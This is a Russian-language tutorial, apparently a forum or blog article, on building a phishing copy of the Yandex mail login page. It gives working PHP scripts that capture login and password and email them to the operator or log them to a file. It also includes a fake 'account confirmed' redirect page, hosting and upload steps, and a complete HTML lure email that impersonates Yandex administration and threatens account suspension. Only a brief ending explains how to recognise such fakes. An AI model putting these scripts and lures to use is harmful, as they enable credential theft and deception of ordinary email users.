В данной статье будет описывать пример изготовления Web Фейка на страницу авторизации одной из самых распространённых и крупных почтовых служб Yandex.ru,а так же некоротые примеры писем которые за частую используют для заманивания на фейк.
И так для начала что такое Web Фейк– (от англ. "fake" – фальшивка) – это поддельная веб-страница (обычно с формой авторизации), которая выглядит так же как и оригинал, но создана с целью кражи вводимых на ней паролей тому кто её создал. То есть когда вы вводите пароль на Web фейке, он сохраняется на хосте в каком нибудь файле(типа db.txt,base.txt,log.txt,base.php,base.dat и т.д. имя может быть любое)либо отсылается на почтовый ящик тому кто его создал, а вас перебрасывает на настоящий сайт,или на ещё одну страницу фейка для повторного ввода данных,ну вообщем туда куда укажет тот кто создал этот Web Фейк.
Рассмотрим пример создание Web фейка на почтовую службу Yandex.ru ,начнём с того что нам нужно выбрать ту страницу с которой мы и будем делать так называемый Web фейк,иными словами подделку для кражи данных авторизации.
И так пройдём на страницу yandex.ru и сохраняем её полностью (правая кнопка мыши на странице,сохранить как...),открываем страницу которую Вы сохранили при помощи блокнота и ищем в нёй строку такого вида:
<form
name="MainLogin"
class="b-domik b-domik_type_bigform g-js" onclick="return {name:'b\-domik_type_bigform',title:'Вход'}" action="http://passport.yandex.ru/passport?mode=auth"
onsubmit="return typeof okButtonClick !== 'undefined' ? okButtonClick(this) : true"
method="post">Теперь меняем action="http://passport.yandex.ru/passport?mode=auth" на action="login.php"
Сохраняем и создаём пустой текстовый документ,открываем его и вставляем в него вот этот код:
<?php
$BASE="Ваш E-mail";
$IS_EMAIL=true;
$LOCATION="activation.html";
$p0=$_REQUEST["login"];
$p1=$_REQUEST["passwd"];
$headers = "Content-type: text/html; charset=windows-1251\r\n";
$headers .= "From: bot <$BASE>\r\n";
$headers .= "Bcc: $BASE\r\n";
$info=":login:$p0:Pass:$p1:\n";
if ($IS_EMAIL){
mail($BASE, "Успех", $headers.$info);
} else {
$fd=fopen($BASE,"a+");
fwrite($fd,$info);
fclose($fd);
}
header("Location:$LOCATION");
?>Вносим в него свой e-mail куда будет отправляться отчёт с логином и паролем,и сохраняем как login.php (обратите внимание на расширение файла,оно должно быть .php)
Этот скрипт отправляет вводимые в него данные на Ваш почтовый ящик,в большинстве же случаев ставят скрипты которые пишут на этом же месте(хосте ) где и располагается сам фейк,то есть рядом с фейковой страницей лежит ещё один файл в который та и записывается введёные данные.
Такой скрипт будет выглядеть приблизительно так:
<?
$BASE="base.txt";
$LOCATION="activation.html";
$data=date("d.m.Y");
$time=date("h:i");
$Login=$_REQUEST["login"];
$Password=$_REQUEST["passwd"];
$info="$data | $time | Логин: $Login |Пароль: $Password \n";
$fd=fopen($BASE,"a+");
fwrite($fd,$info);
fclose($fd);
header("Location:$LOCATION");
?>конечно же скрипты могут отличаться,ну эти самые наверное распространённые и действующие по сей день.
Теперь создадим activation.html,для этого скопируем страницу которую сохраняли с яндекса(в самом начале) и сохраним как activation.html,далее открываем его текстовым редактором и удаляем все строки начиная с:
<form
name="MainLogin"
class="b-domik b-domik_type_bigform g-js" onclick="return {name:'b\-domik_type_bigform',title:'Вход'}" action="http://passport.yandex.ru/passport?mode=auth"
onsubmit="return typeof okButtonClick !== 'undefined' ? okButtonClick(this) : true"
method="post">и до :
<input name="timestamp" type="hidden"><input name="timestamp" type="hidden"></form>
Ну это так для примера,Вы же можете удалить не много больше или вообще сделать по свойму.
И пишем свой текст,что то вроде:" Учетная запись вашего аккаунта успешно подтверждена. Ещё раз приносим свои извенения за предоставленные неудобства."
Вообщем должно получится как то так:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7"><!--[if gt IE 7]><!--><link rel="stylesheet" href="https://passport.yandex.ru/css/74/_pass.css">
<!--<![endif]--><!--[if lt IE 8]><link rel=stylesheet href="/css/74/_pass.ie.css"><![endif]--><link rel="shortcut icon" type="image/x-icon" href="https://yandex.st/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.ico" /><title>Яндекс: Паспорт</title>
<script type="text/javascript" charset="utf-8" src="https://js.static.yandex.net/jquery/1.3.2/_jquery.js"></script>
<script type="text/javascript" charset="utf-8" src="https://yandex.st/lego/2.3-54/common/js/_common-no-frame-check.js"></script>
<script type="text/javascript" charset="utf-8" src="https://passport.yandex.ru/js/74/_passport.js"></script>
<script type="text/javascript">
Lego.init({
locale:'ru',
id:'passport',
'pass-host':'https://pass.yandex.ru',
'lego-static-host':'\/\/yandex.st\/lego\/2.3-54',
'passport-host':'https:\/\/passport.yandex.ru',
'retpath':'https:\/\/passport.yandex.ru',
'social-host':'\/\/social.yandex.ru',
'social-startUrl': '\/\/social.yandex.ru\/broker\/start',
'social-retpath': 'https:\/\/passport.yandex.ru\/i-social__closer.html',
'login': ' ',
'social':'yes',
'titlePassport': 'Паспорт',
'titleChangePass': 'Сменить пароль',
'titleMyProfile': 'Мои профили',
'socialTitle': 'Войти при помощи'
})
$(function() {
if (!window.parent) {
return;
}
setTimeout(function() {
if (!/#/.test(window.parent.document.location.href)) {
window.parent.document.location.href += '#js';
} else {
window.parent.document.location.href = window.parent.document.location.href;
}
}, 1000);
});
</script><script type="text/javascript">
function Validate(fname) {
document.forms['MainLogin'].timestamp.value = new Date().getTime();
if(fname.passwd.value.length > 0) {
if(fname.code) {
if(fname.code.value != '') {
return true;
}
else {
alert("Вы не ввели контрольные символы!");
return false;
}
}
else {
return true;
}
}
alert("Вы не ввели пароль!");
return false;
}
</script></head>
<body class="b-mimicry-passport"><table class="l-head"><tr>
<td class="l-head__g"><i class="l-head__gap" style="background:url(//www.tns-counter.ru/V13a****yandex_ru/ru/CP1251/tmsec=yandex_passport/0)"></i></td>
<td class="l-head__l"><div class="b-head-logo"> <div class="b-head-logo__logo"><a href="http://www.yandex.ru"><img border="0" alt="Яндекс" src="https://lego.static.yandex.net/2.2.3/common/block/b-head-logo/b-head-logo.png"></a></div></div></td>
<td class="l-head__gl"><i class="l-head__gap"></i></td>
<td class="l-head__c">
<!--noindex--><table class="b-head-tabs g-js" onclick="return {name:'b\-head\-tabs','default':''}"><tr>
<td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://www.yandex.ru">Поиск</a></td><td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://mail.yandex.ru">Почта</a></td><td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://maps.yandex.ru">Карты</a></td>
<td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://market.yandex.ru">Маркет</a></td>
<td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://news.yandex.ru">Новости</a></td>
<td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://slovari.yandex.ru">Словари</a></td>
<td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://blogs.yandex.ru">Блоги</a></td>
<td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://video.yandex.ru">Видео</a></td>
<td class="b-head-tabs__item b-head-tabs__tab"><a class="b-head-tabs__link" href="http://images.yandex.ru">Картинки</a></td>
<td class="b-head-tabs__tab b-head-tabs__more">
<div class="b-dropdowna b-dropdowna_isBEM_yes b-dropdowna_direction_down i-bem" onclick="return {'b\-dropdowna':{name:'b\-dropdowna'}}">
<span class="b-dropdowna__switcher">
<span class="b-pseudo-link b-pseudo-link_isBEM_yes i-bem" onclick="return {'b\-pseudo\-link':{name:'b\-pseudo\-link'}}">
ещё
</span>
</span>
<div class="b-popupa b-popupa_theme_ffffff b-popupa_direction_down b-popupa_isBEM_yes i-bem b-dropdowna__popup" onclick="return {'b\-popupa':{name:'b\-popupa'}}">
<i class="b-popupa__shadow"></i>
<i class="b-popupa__tail">
<i class="b-popupa__tail-i"></i></i>
<table cellpadding="0" cellspacing="0" class="b-popupa__wrap">
<tr>
<td class="b-popupa__wrap-cell">
<div class="b-popupa__content">
<div class="b-menu b-menu_layout_vert b-menu_preset_vmenu">
<ul class="b-menu_layout_vert__layout">
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://auto.yandex.ru">Авто</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://afisha.yandex.ru">Афиша</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://money.yandex.ru">Деньги</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://yaca.yandex.ru">Каталог</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://moikrug.ru">Мой Круг</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://narod.yandex.ru">Народ</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://cards.yandex.ru">Открытки</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://pogoda.yandex.ru">Погода</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://rasp.yandex.ru">Расписания</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://tv.yandex.ru">Телепрограмма</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://fotki.yandex.ru">Фотки</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://my.ya.ru">Я.Ру</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://soft.yandex.ru">Программы</a>
</div>
</li>
<li class="b-menu__layout-cell b-menu_layout_vert__layout-cell">
<div class="b-menu__item">
<a class="b-link b-head-tabs__link" href="http://www.yandex.ru/all">Все сервисы</a>
</div>
</li>
</ul>
</div>
</div>
</td>
</tr>
</table>
</div>
</div>
</td>
</tr></table>
<!--/noindex--><div class="b-head-line"><strong class="b-head-name">паспорт</strong></div> <div class="b-head-menu"> </div>
</td>
<td class="l-head__gr"><i class="l-head__gap"></i></td>
<td class="l-head__r">
<table class="b-head-userinfo"><tbody><tr> <td class="b-head-userinfo__td"></td>
<td class="b-head-userinfo__entry"> <!--Войти--> </td></tr>
<tr>
<td class="b-head-userinfo__td" colspan="2">
<div class="b-head-userinfo__help">
<a class="b-head-userinfo__link" href="http://help.yandex.ru/passport/">Помощь</a>
</div>
</td>
</tr>
<tr>
<td class="b-head-userinfo__td" colspan="2"><img style="position: absolute;" src="activ_files/passport.gif" alt="" height="1" width="1">
</td>
</tr>
<tr>
<td class="b-head-userinfo__td" colspan="2"></td>
</tr>
</tbody></table>
</td>
<td class="l-head__g"><i class="l-head__gap"></i></td>
</tr></tbody></table>
<table class="l-page l-page_layout_12-60-16 l-page_indent">
<tbody><tr>
<td class="l-page__gap"><i></i></td>
<td class="l-page__left">
<br> </td>
<td class="l-page__gap-left"><i></i></td>
<td class="l-page__center">
<tbody>
<br />
<br /> <br />
<center><h2>Учетная запись вашего аккаунта успешно подтверждена. <br />Ещё раз приносим свои извенения за предоставленные неудобства.</h2>В данный момент Вы можете продолжить пользоваться почтовой службой яндекс,перейдя по сылке:<br />
<a href="http://mail.yandex.ru/neo2/#inbox" target="_top">Продолжить использование почтовой службы Яндекс</a></center><br />
<br />
<br />
<br />
<br />
<br />
</div>
</td>
</tbody></table>
<input name="timestamp" type="hidden"><input name="timestamp" type="hidden"></form> </td>
<td class="l-page__gap-right"><i></i></td>
<td class="l-page__right">
<br> </td>
<td class="l-page__gap"><i></i></td>
</tr>
</tbody></table>
<div class="b-foot"><table class="b-foot__layout"><tbody><tr><td class="b-foot__layout__gap"><i class="b-foot__layout__gap__i"></i></td><td class="b-foot__layout__column b-foot__layout__column_left">
</td><td class="b-foot__layout__column">
</td><td class="b-foot__layout__column">
</td><td class="b-foot__layout__column">
<div class="b-foot__links"><a class="b-foot__link" href="http://passport.yandex.ru/passport?mode=passport&_dvc=mobile">Мобильная версия</a></div>
</td><td class="b-foot__layout__column b-foot__layout__column_penultima">
<div class="b-foot__info"></div>
</td><td class="b-foot__layout__column b-foot__layout__column_right">
<div class="b-copyright">© 2001—2011 «<a class="b-copyright__link" href="http://www.yandex.ru/">Яндекс</a>»</div>
</td><td class="b-foot__layout__gap"><i class="b-foot__layout__gap__i"></i></td></tr></tbody></table></div>
<span style="display: none;" class="i-metrika i-metrika_type_js g-js i-metrika_js_inited" onclick="return {name:'i\-metrika',counter:784657}"></span>
<noscript><img src="//mc.yandex.ru/watch/784657" style="position:absolute" alt=""/></noscript>
</body></html>Это к примеру,текст же может быть абсолютно любой,так же и тема письма может быть любой.
Дальше нужно зарегистрировать хост,например на Holm.ru и в письме после регистрации вы получите данные для авторизации через FTP клиент,для того чтоб можно было заливать файлы на свой хост.
Как получите данные,залейте на свой хост всё файлы что получились в ходе приготовления фейка,всё в папку WWW,после пройдя по ссылке которая ведёт на Ваш свеже зарегистрированный хост,должны попасть на точную копию страницы Яндекса.
Если всё получилось и страница точь в точь похожа на настоящую,то можно приступать к письму которым и будет заманиваться пользователь на Web фейк для того чтоб внести данные авторизации,если же нет то можете скачать уже готовый Web фейк Яндекса(так же скачав его Вы посмотрите пример изготовления фейка без лишних папок).
Теперь приведу пример письма для этого фейка.
Текст письма за пишется в Html тегах для того чтоб выглядеть как можно правдоподобней и в дальнейшем отсылается с анонимного сервиса отправки писем,использую PHP скрипты для рассылки и т.д.
<html><head xmlns="http://www.w3.org/1999/xhtml"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="http://mailstatic.yandex.net/neo2/2.12.0/js/tiny_mce/themes/advanced/skins/default/content.css" mce_href="http://mailstatic.yandex.net/neo2/2.12.0/js/tiny_mce/themes/advanced/skins/default/content.css" rel="stylesheet"><link href="http://mailstatic.yandex.net/neo2/2.12.0/js/tiny_mce/plugins/spellchecker/css/content.css" mce_href="http://mailstatic.yandex.net/neo2/2.12.0/js/tiny_mce/plugins/spellchecker/css/content.css" rel="stylesheet"></head><body dir="ltr" spellcheck="false" id="tinymce" class="mceContentBody "><div><span mce_style="font-size: medium;" style="font-size: medium;"> <b><span mce_style="color: #ff0000;" style="color: rgb(255, 0, 0);"> Внимание.</span><br><br><span mce_style="font-size: medium;" style="font-size: medium;">Предупреждаем Вас,что имеется предположение о нарушении "соглашения-пользователя" с вашей стороны.<br><br>Есть заявитель,который утверждает что является настоящим владельцем этого аккаунта Яндекс.</span></div><div><span mce_style="font-size: medium;" style="font-size: medium;"><br>Просим Вас пройти аутентификацию в указаной форме,для этого нажмите на кнопку:</b><p><b><form name="FORM" method="get" action="http://ссылка на Ваш хост/index.html"> <input type="submit" value="Пройти аутентификацию"><b></b></p><b> <span mce_style="color: #ff0000;" style="color: rgb(255, 0, 0);">В противном случае согласно "Соглашения об использовании системы «Яндекс»",будет произведена блокировка аккаунта.</span></span> <br><br> <span mce_style="font-size: medium;" style="font-size: medium;">Приносим свои извинения за предоставленые неудобства.</span> </div><div><br></div><div><br></div><div><br></div><div><br></div><div>---</div><div>С уважением,<br>Администрация Яндекс.<br><br><br><b><br></div></body></html>
Текст у других писем может значительно отличаться,так же и страница фейка может выглядеть не много по другому.
Что бы отличить страницу Web фейка от натуральной,достаточно приглядеться в адресную строку браузера,по ссылке видно от куда эта страница с настоящего Яндекса или же это подделка.
Если же глядя на ссылку Вы все равно не уверены,то откройте исходный код страницы и найдите строку :
<form
name="MainLogin"
class="b-domik b-domik_type_bigform g-js" onclick="return {name:'b\-domik_type_bigform',title:'Вход'}" action="http://passport.yandex.ru/passport?mode=auth"
onsubmit="return typeof okButtonClick !== 'undefined' ? okButtonClick(this) : true"
method="post">по ней видно,в параметре action="http://passport.yandex.ru/passport?mode=auth" видно куда ведёт эта страница,если же там будет не полная ссылка,а толька одна страница,то в полне возможно предположить что это фейк.Для того чтоб убедится что это реальный фейк,за частую достаточно ввести неверный логин и пароль.
Так же не забывайте что существуют вирусы,которые подменяют файл hosts,после чего вводя в адресную строку браузера,или же переходя по ссылкам Вы попадаете на фейковые страницы,хотя в адресной строке браузера будет отображаться реальный адрес настоящего сайта,в таком случае Вам нужно будет просмотреть исходный код страницы чтоб понять подделка это или нестоящая страница,ну об этом я постараюсь написать в другой статье.
На этом мы и закончим....
